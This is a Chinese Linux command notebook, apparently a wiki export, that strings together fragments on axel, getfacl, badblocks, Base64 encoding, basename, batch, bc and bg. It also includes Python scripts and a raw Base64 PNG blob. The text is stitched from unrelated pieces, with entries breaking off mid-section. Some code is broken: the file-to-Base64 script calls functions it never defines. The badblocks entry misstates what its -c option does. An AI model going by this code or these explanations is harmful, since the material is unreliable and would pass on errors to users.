"axel" 是Linux下一个不错的HTTP/ftp高速下载工具。支持多线程下载、断点续传,且可以从多个地址或者从一个地址的多个连接来下载同一个文件。适合网速不给力时多线程下载提高下载速度。比如在国内VPS或服务器上下载lnmp一键安装包用Axel就比wget快。

</div>

!! 安装  

:<div>


CentOS安装Axel:

目前yum源上没有Axel,我们可以到http://pkgs.repoforge.org/axel/下载rpm包安装。

32位CentOS执行下面命令:

```
wget -c http://pkgs.repoforge.org/axel/axel-2.4-1.el5.rf.i386.rpm
rpm -ivh axel-2.4-1.el5.rf.i386.rpm
```

64位CentOS执行下面命令:

```
wget -c http://pkgs.repoforge.org/axel/axel-2.4-1.el5.rf.x86_64.rpm
rpm -ivh axel-2.4-1.el5.rf.x86_64.rpm
```

Debian/Ubuntu安装Axel:

```
apt-get install axel
```

</div>

!! 语法  

:<div>


```
axel [options] url1 [url2] [url...]
```

</div>

!! 选项  

:<div>


```
--max-speed=x , -s x         最高速度x
--num-connections=x , -n x   连接数x
--output=f , -o f            下载为本地文件f
--search[=x] , -S [x]        搜索镜像
--header=x , -H x            添加头文件字符串x(指定 HTTP header)
--user-agent=x , -U x        设置用户代理(指定 HTTP user agent)
--no-proxy , -N             不使用代理服务器
--quiet , -q                静默模式
--verbose ,-v               更多状态信息
--alternate , -a            Alternate progress indicator
--help ,-h                  帮助
--version ,-V               版本信息
```

</div>

!! 实例  

:<div>


如下载lnmp安装包指定10个线程,存到/tmp/:

```
axel -n 10 -o /tmp/ http://www.jsdig.com/lnmp.tar.gz
```

如果下载过程中下载中断可以再执行下载命令即可恢复上次的下载进度。


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
* [[getfacl]] <pre>

```bash
#备份
getfacl -R . > permissions.txt

#恢复
setfacl --restore=permissions.txt
```
</pre>


* python <pre>

```python
import argparse
import subprocess
from os import devnull
from time import sleep
import os

def openLocked(path, mode="w"):
    if os.name == "posix":
        import fcntl
        f = open(path, mode)
        fcntl.flock(f.fileno(), fcntl.LOCK_EX)
    elif os.name == "nt":
        import msvcrt
        f = open(path, mode)
        msvcrt.locking(f.fileno(), msvcrt.LK_NBLCK, -1)
    else:
        f = open(path, mode)
    return f

def get_local_file_list(folder):
    file_list = [];
    for root, dirs, files in os.walk(folder):
        for f in files:
            en = path = root+os.path.sep+f
            en=en.replace('//','/')
            file_list.append(en)
    return file_list

def read2memory(File_Path):
    if not os.path.exists(File_Path):
        os.system("touch %s"%(File_Path))
    return openLocked(File_Path,'r').read().strip().split('\n')

def overwrite1list2file(List, File_Path):
    new_str = '\n'.join(sorted(list( List )))
    new_str += '\n'
    openLocked(File_Path, 'w').write(new_str)

def diff(l1,l2):
    d1=set(l1).difference(set(l2))
    d2=set(l2).difference(set(l1))
    if len(d1) >0:
        print "new change:"
        for f in d1:print "Change: %s"%(f)
    if len(d2)>0:
        print "deleted:"
        for f in d2:print "Deleted: %s"%(f)

def diff2file(f1 , f2):
    fl1 = read2memory(f1)
    fl2 = read2memory(f2)
    diff(fl1,fl2)

def get_file_mod(fpath):
    return ("%s : %s")%(fpath,str(os.stat(fpath)))

def get_filelist_mod(file_list):
    mod_list=list()
    error_list=list()
    for f in file_list:
        try:
            print f
            mod_list.append(get_file_mod(f))
        except:
            print "error\t",f
            error_list.append(f)
    return mod_list,error_list

def get_dir_mod(dir_):
    return get_filelist_mod( get_local_file_list(dir_) )

def main():
    parser = argparse.ArgumentParser(description='backup dir mod.')
    parser.add_argument('-d', type=str, help='dir')
    parser.add_argument('-o', type=str, help='output')
    parser.add_argument('-e', type=str, help='error')
    parser.add_argument('-c', type=str, help='compare')

    args = parser.parse_args()

    dir='./'
    output_file='./mod.db'
    err_file='./error.db'
    if args.d: dir=args.d
    if args.o: output_file=args.o
    if args.e: err_file=args.e

    mod_list,err_list=get_dir_mod(dir)

    overwrite1list2file(mod_list,output_file)
    overwrite1list2file(err_list,err_file)
    if args.c:
        source_mod_db=read2memory(args.c)
        print ('#################')
        diff(mod_list,source_mod_db)
        

main()



```
</pre>
!!简介
:<div>
badblocks
===

查找磁盘中损坏的区块

</div>

!! 补充说明

:<div>


"badblock命令" 用于查找磁盘中损坏的区块。 硬盘是一个损耗设备,当使用一段时间后可能会出现坏道等物理故障。电脑硬盘出现坏道后,如果不及时更换或进行技术处理,坏道就会越来越多,并会造成频繁死机和数据丢失。最好的处理方式是更换磁盘,但在临时的情况下,应及时屏蔽坏道部分的扇区,不要触动它们。badblocks就是一个很好的检查坏道位置的工具。

</div>

!! 语法  

:<div>


```
badblock(选项)(参数)
```

</div>

!! 选项  

:<div>


```
-b<区块大小>:指定磁盘的区块大小,单位为字节;
-o<输出文件>:将检查的结果写入指定的输出文件;
-s:在检查时显示进度;
-v:执行时显示详细的信息;
-w:在检查时,执行写入测试。
```

</div>

!! 参数  

:<div>


*   磁盘装置:指定要检查的磁盘装置;
*   磁盘区块数:指定磁盘装置的区块总数;
*   启始区块:指定要从哪个区块开始检查。

</div>

!! 实例  

:<div>


badblocks以4096的一个block,每一个block检查16次,将结果输出到“hda-badblocks-list”文件里。

```
badblocks -b 4096 -c 16 /dev/hda1 -o hda-badblocks-list
```

hda-badblocks-list是个文本文件,内容如下:

```
cat hda-badblocks-list
51249
51250
51251
51253
51254
……
61245
……
```

可以针对可疑的区块多做几次操作。下面,badblocks以4096字节为一个“block”,每一个“block”检查1次, 将结果输出到“hda-badblocks-list.1”文件中,由第51000 block开始,到63000 block结束。

```
badblocks -b 4096 -c 1 /dev/hda1 -o hda-badblocks-list.1 63000 51000
```

这次花费的时间比较短,硬盘在指定的情况下在很短的时间就产生“嘎嘎嘎嘎”的响声。由于检查条件的不同,其输出的结果也不完全是相同的。重复几次同样的操作,因条件多少都有些不同,所以结果也有所不同。进行多次操作后,直到产生最后的hda-badblock-list.final文件。

</div>

!! 其他  

:<div>


 "1、fsck使用badblocks的信息" 

badblocks只会在日志文件中标记出坏道的信息,但若希望在检测磁盘时也能跳过这些坏块不检测,可以使用fsck的-l参数:

```
fsck.ext3 -l /tmp/hda-badblock-list.final /dev/hda1
```

 "2、在创建文件系统前检测坏道" 

badblocks可以随e2fsck和mke2fs的-c删除一起运行(对ext3文件系统也一样),在创建文件系统前就先检测坏道信息:

```
mkfs.ext3 -c /dev/hda1
```

代码表示使用-c在创建文件系统前检查坏道的硬盘。

这个操作已经很清楚地告知我们可以采用`mkfs.ext3 -c`选项用`read-only`方式检查硬盘。这个命令会在格式化硬盘时检查硬盘,并标出错误的硬盘“block”。用这个方法格式化硬盘,需要有相当大的耐心,因为命令运行后,会一个个用读的方式检查硬盘。


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
;具体转换步骤
:第一步,将待转换的字符串每三个字节分为一组,每个字节占8bit,那么共有24个二进制位。
:第二步,将上面的24个二进制位每6个一组,共分为4组。
:第三步,在每组前面添加两个0,每组由6个变为8个二进制位,总共32个二进制位,即四个字节。
:第四步,根据Base64编码对照表(见下图)获得对应的值。



:[img[base64.png]]


!示例说明

:<div>

以下图的表格为示例,我们具体分析一下整个过程。

* 第一步:“M”、“a”、”n”对应的ASCII码值分别为77,97,110,对应的二进制值是01001101、01100001、01101110。如图第二三行所示,由此组成一个24位的二进制字符串。

* 第二步:如图红色框,将24位每6位二进制位一组分成四组。

* 第三步:在上面每一组前面补两个0,扩展成32个二进制位,此时变为四个字节:00010011、00010110、00000101、00101110。分别对应的值(Base64编码索引)为:19、22、5、46。

* 第四步:用上面的值在Base64编码表中进行查找,分别对应:T、W、F、u。因此“Man”Base64编码之后就变为:TWFu。
</div>

!位数不足情况
:<div>

上面是按照三个字节来举例说明的,如果字节数不足三个,那么该如何处理?

* 两个字节:两个字节共16个二进制位,依旧按照规则进行分组。此时总共16个二进制位,每6个一组,则第三组缺少2位,用0补齐,得到三个Base64编码,第四组完全没有数据则用“=”补上。因此,上图中“BC”转换之后为“QKM=”;
* 一个字节:一个字节共8个二进制位,依旧按照规则进行分组。此时共8个二进制位,每6个一组,则第二组缺少4位,用0补齐,得到两个Base64编码,而后面两组没有对应数据,都用“=”补上。因此,上图中“A”转换之后为“QQ==”;

</div>


```python
# coding:utf8
import string
import base64

# 编码用64位数组 因为是转换为6个字节的字符 所以64位就够了
letters = list(string.ascii_uppercase) + list(string.ascii_lowercase) + list(string.digits) + ['+', '/']

def my_base64_encodestring(input_str):
    # 对每一个字节取ascii数值或unicode数值,然后转换为2进制
    str_ascii_list = ['{:0>8}'.format(str(bin(ord(i))).replace('0b', ''))
                      for i in input_str]
    output_str = ''
    # 不够3的整数倍 补齐所需要的次数
    equal_num = 0
    while str_ascii_list:
        temp_list = str_ascii_list[:3]
        if len(temp_list) != 3:
            while len(temp_list) < 3:
                equal_num += 1
                temp_list += ['0'*8]
        temp_str = ''.join(temp_list)
        # 三个8字节的二进制 转换为4个6字节的二进制
        temp_str_list = [temp_str[x:x+6] for x in [0, 6, 12, 18]]
        # 二进制转为10进制
        temp_str_list = [int(x, 2) for x in temp_str_list]
        # 判断是否为补齐的字符 做相应的处理
        if equal_num:
            temp_str_list = temp_str_list[0:4-equal_num]
        output_str += ''.join([letters[x] for x in temp_str_list])
        str_ascii_list = str_ascii_list[3:]
    output_str = output_str + '=' * equal_num
    #print(output_str)
    return output_str

def my_base64_decodestring(input_str):
    # 对每一个字节取索引,然后转换为2进制
    str_ascii_list = ['{:0>6}'.format(str(bin(letters.index(i))).replace('0b', ''))
                      for i in input_str if i != '=']
    output_str = ''
    equal_num = input_str.count('=')
    while str_ascii_list:
        temp_list = str_ascii_list[:4]
        temp_str = ''.join(temp_list)
        # 补够8位
        if len(temp_str) % 8 != 0:
            temp_str = temp_str[0:-1*equal_num*2]
        # 4个6字节的二进制  转换  为三个8字节的二进制 
        temp_str_list = [temp_str[x:x+8] for x in [0, 8, 16]]
        # 二进制转为10进制
        temp_str_list = [int(x, 2) for x in temp_str_list if x]
        output_str += ''.join([chr(x) for x in temp_str_list])
        str_ascii_list = str_ascii_list[4:]
    #print(output_str)
    return output_str

if __name__ == "__main__":
    input_str = '11我'
    input_str = 'MTHmiJE='
    #my_base64_encodestring(input_str)
    my_base64_decodestring(input_str)
    pass
```

```python
from _imaging import path
__author__ = 'shiyongqin'
import base64
import os
def file_to_base64(inpath):
    """
    对图片内容base64编码
    :param path: 文件路径
    :return: BASE64编码后的文件内容
    """
    f, after_base64 = None, None
    try:
        f = open(inpath, 'rb')  # 二进制方式打开图文件
        after_base64 = base64.b64encode(f.read())  # 读取文件内容,转换为base64编码
    except Exception as ex:
        print ex.message
    finally:
        if f:
            f.close()
    return after_base64

def base64_to_file(outpath, imgBase64):
    """
    对base编码数据进行解码,并保存文件
    :param outpath: 文件保存路径,
    :return: BASE64编码后的文件内容
    """
    try:
        # img解码
        imgData = base64.b64decode(imgBase64)
        pathElement = os.path.split(outpath)
        s = str(pathElement[0])
        # 目录录不存在则创建目录
        if not os.path.exists(s):
            os.makedirs(s)
        # 存储图片
        file = open(outpath, 'wb')
        file.write(imgData)
        file.close()
        print 'success'
    except Exception, e:
        print e.message


if __name__ == '__main__':
    #1.对文件进行base64编码
    inpath="%s\\test_1.png" % os.path.dirname(os.path.realpath(__file__))
    imgBase64=img_to_64(inpath)
    print imgBase64
    #2.对base64编码数据进行解码
    outpath="%s\\handle.png" % os.path.dirname(os.path.realpath(__file__))
    storePic(outpath,imgBase64)
```
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
''basename''命令用于打印目录或者文件的基本名称。basename和dirname命令通常用于shell脚本中的命令替换来指定和指定的输入文件名称有所差异的输出文件名称。
```bash
#!/usr/bin/env bash
#------------------------------------
# FileName:     
# Revision:     0.1                  
# Language:     bash                 
# Author:       liming.wei           
# Date:         
# Description:                      
# License:      GPL
#------------------------------------
```
!!简介
:<div>
batch
===

在系统不繁忙的时候执行定时任务

</div>

!! 补充说明

:<div>


"batch命令" 用于在指定时间,当系统不繁忙时执行任务,用法与at相似。

</div>

!! 语法  

:<div>


```
batch(选项)(参数)
```

</div>

!! 选项  

:<div>


```
-f:指定包含具体指令的任务文件;
-q:指定新任务的队列名称;
-m:任务执行完后向用户发送E-mail。
```

</div>

!! 参数  

:<div>


日期时间:指定任务执行的日期时间。

</div>

!! 实例  

:<div>


```
batch 
at> echo 1234
at> <EOT>
job 5 at Sun Apr 28 08:49:00 2013
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
*  选项
:<div>

|!选项|!描述|
|-i| 强制进入交互式模式;           |
|-l| 定义使用的标准数学库;         |
|-w| 对POSIX bc的扩展给出警告信息; |
|-q| 不打印正常的GNU bc环境信息;   |
|-v| 显示指令版本信息;             |
|-h| 显示指令的帮助信息。           |
</div>


* 实例
:<div>

* ibase , obase
:<div>

```bash
[root@vms01 ~]# echo "obase=10;ibase=16;FF"|bc
255
```
</div>

* scale
 
:<div>

```bash
[root@vms01 ~]# echo "scale=2;3/8" | bc
0.37
```
</div>

* sqrt ^
 
:<div>

```bash
echo "10^10" | bc
echo "sqrt(100)" | bc
```
</div>

</div>
!!简介
:<div>
bg
===

用于将作业放到后台运行

</div>

!! 补充说明

:<div>


"bg命令" 用于将作业放到后台运行,使前台可以执行其他任务。该命令的运行效果与在指令后面添加符号`&`的效果是相同的,都是将其放到系统后台执行。

